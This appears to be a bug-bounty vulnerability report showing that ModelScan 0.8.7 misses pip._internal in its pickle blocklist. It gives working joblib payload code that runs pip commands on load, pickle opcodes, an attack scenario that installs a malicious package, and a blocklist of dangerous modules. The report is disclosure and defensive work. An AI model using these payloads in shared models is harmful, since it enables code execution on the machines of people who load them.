File size: 6,930 Bytes
a646264
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
---
license: mit
---
# HUNTR MFV SUBMISSION - ModelScan Joblib pip._internal Bypass

## Target Format
**Joblib**

## Title
**ModelScan Scanner Bypass via pip._internal.main() in Joblib Files - Missing Blocklist Entry**

## HuggingFace PoC
**https://huggingface.co/kfoughali/mfv-modelscan-joblib1**

Files:
- `scanner_bypass_poc.joblib` (64 bytes) - Safe demo: displays `pip install --help`
- `scanner_bypass_rce.joblib` (103 bytes) - RCE proof: downloads a file to `/tmp/joblib_rce_proof/`

---

## Vulnerability Summary

**Tested on:** ModelScan v0.8.7

ModelScan does not include `pip` or `pip._internal` in its CRITICAL blocklist for unsafe Pickle operations. Since Joblib uses Pickle internally for serialization, this gap directly affects `.joblib` files.

A malicious Joblib file can:
- Pass ModelScan security checks, returning "No issues found"
- Execute arbitrary code during deserialization via `pip._internal.main(...)`
- Enable supply-chain attacks, since malicious sklearn models appear harmless

This is the same vulnerability class as **CVE-2025-1716** (picklescan `pip.main()` bypass), but affects ModelScan.

---

## Proof of Bypass

### ModelScan Output (Both Files)

```
$ modelscan --version
modelscan, version 0.8.7

$ modelscan --path scanner_bypass_poc.joblib
Scanning scanner_bypass_poc.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
 No issues  were found! 

$ modelscan --path scanner_bypass_rce.joblib
Scanning scanner_bypass_rce.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
 No issues were  found! 
```

---

## Payloads

### PoC Payload (`scanner_bypass_poc.joblib`)

**Purpose:** Safe demonstration - displays pip install help text

```python
import joblib

class PipBypassPoC:
    def __reduce__(self):
        from pip._internal import main
        return main, (['install', '--help'],)

joblib.dump(PipBypassPoC(), 'scanner_bypass_poc.joblib')
```

**Execution:**
```
$ python3 -c "import joblib; joblib.load('scanner_bypass_poc.joblib')"

Usage:
  pip install [options] <requirement specifier> [package-index-options] ...
  pip install [options] -r <requirements file> [package-index-options] ...
...
```

---

### RCE Payload (`scanner_bypass_rce.joblib`)

**Purpose:** Proves arbitrary code execution by downloading a file

```python
import joblib

class PipBypassRCE:
    def __reduce__(self):
        from pip._internal import main
        return main, (['download', '--no-deps', '-d', '/tmp/joblib_rce_proof', 'pip'],)

joblib.dump(PipBypassRCE(), 'scanner_bypass_rce.joblib')
```

**Execution:**
```
$ rm -rf /tmp/joblib_rce_proof
$ python3 -c "import joblib; joblib.load('scanner_bypass_rce.joblib')"

Collecting pip
  Downloading pip-25.3-py3-none-any.whl (1.8 MB)
Saved /tmp/joblib_rce_proof/pip-25.3-py3-none-any.whl
Successfully downloaded pip

$ ls /tmp/joblib_rce_proof/
pip-25.3-py3-none-any.whl
```

**Code executes despite "No issues found" scan result.**

---

## Pickle Opcodes (RCE Variant)

```
    0: \x80 PROTO      4
   11: \x8c SHORT_BINUNICODE 'pip._internal'   <- Module NOT in blocklist
   27: \x8c SHORT_BINUNICODE 'main'            <- Function to call
   34: \x93 STACK_GLOBAL                       <- pip._internal.main
   39: \x8c     SHORT_BINUNICODE 'download'
   50: \x8c     SHORT_BINUNICODE '--no-deps'
   62: \x8c     SHORT_BINUNICODE '-d'
   67: \x8c     SHORT_BINUNICODE '/tmp/joblib_rce_proof'
   91: \x8c     SHORT_BINUNICODE 'pip'
  100: R    REDUCE                              <- Execute pip._internal.main([...])
```

---

## ModelScan Blocklist Analysis

Current blocklist in `modelscan/settings.py` - **pip is MISSING**:

```python
"CRITICAL": {
    "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
    "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
    "runpy": "*",
    "os": "*",
    "nt": "*",
    "posix": "*",
    "socket": "*",
    "subprocess": "*",
    "sys": "*",
    "operator": ["attrgetter"],
    "pty": "*",
    "pickle": "*",
    "_pickle": "*",
    "bdb": "*",
    "pdb": "*",
    "shutil": "*",
    "asyncio": "*",
    # "pip" is NOT here!
    # "pip._internal" is NOT here!
},
```

---

## Attack Scenario

1. Attacker creates malicious PyPI package with RCE in build hooks:
   ```python
   # pyproject.toml or setup.py hooks can execute arbitrary code
   # Example: exfiltrate credentials, establish reverse shell, etc.
   ```

2. Attacker creates Joblib file calling `pip._internal.main(['install', 'malicious-pkg'])`

3. Joblib file passes ModelScan: **"No issues found! 🎉"**

4. Victim loads sklearn model: `joblib.load('model.joblib')`

5. **RCE achieved** via pip install hooks

---

## Impact

| Impact | Description |
|--------|-------------|
| **Scanner Bypass** | ModelScan 0.8.7 reports "No issues found" |
| **Code Execution** | Arbitrary code via pip install/download hooks |
| **Supply Chain** | Malicious sklearn models appear safe |
| **Wide Scope** | Affects all Joblib/sklearn model pipelines using ModelScan |

---

## Recommended Fix (Scanner-Side)

Add `pip` and `pip._internal` to the CRITICAL blocklist in `modelscan/settings.py`:

```python
"CRITICAL": {
    "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
    "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
    "runpy": "*",
    "os": "*",
    "nt": "*",
    "posix": "*",
    "socket": "*",
    "subprocess": "*",
    "sys": "*",
    "operator": ["attrgetter"],
    "pty": "*",
    "pickle": "*",
    "_pickle": "*",
    "bdb": "*",
    "pdb": "*",
    "shutil": "*",
    "asyncio": "*",
    "pip": "*",           # <-- ADD
    "pip._internal": "*", # <-- ADD
},
```

**Why this is the correct fix:**
1. Aligns with the fix applied in picklescan for CVE-2025-1716
2. Treats `pip._internal.main()` as a dangerous callable
3. Blocks both `pip.main` and `pip._internal.main` variants

---

## Why This Is Distinct from a Pickle Submission

| Aspect | Pickle (.pkl) | Joblib (.joblib) |
|--------|---------------|------------------|
| Scanner code path | `PickleUnsafeOpScan` on `.pkl` | `PickleUnsafeOpScan` on `.joblib` |
| Format detection | `SupportedModelFormats.PICKLE` | `SupportedModelFormats.JOBLIB` |
| Primary use case | Generic Python objects | **sklearn models** (ML industry standard) |
| Supply chain impact | General serialization | **ML model pipelines** specifically |

ModelScan explicitly supports Joblib as a distinct format. The `pip._internal` gap affects this scanner path.

---

## References

- CVE-2025-1716: https://nvd.nist.gov/vuln/detail/CVE-2025-1716
- GHSA-655q-fx9r-782v: https://github.com/advisories/GHSA-655q-fx9r-782v
- ModelScan: https://github.com/protectai/modelscan

---

**Researcher:** Karim Foughali  
**Email:** kfoughali@dzlaws.org  
**Date:** January 17th 2026 **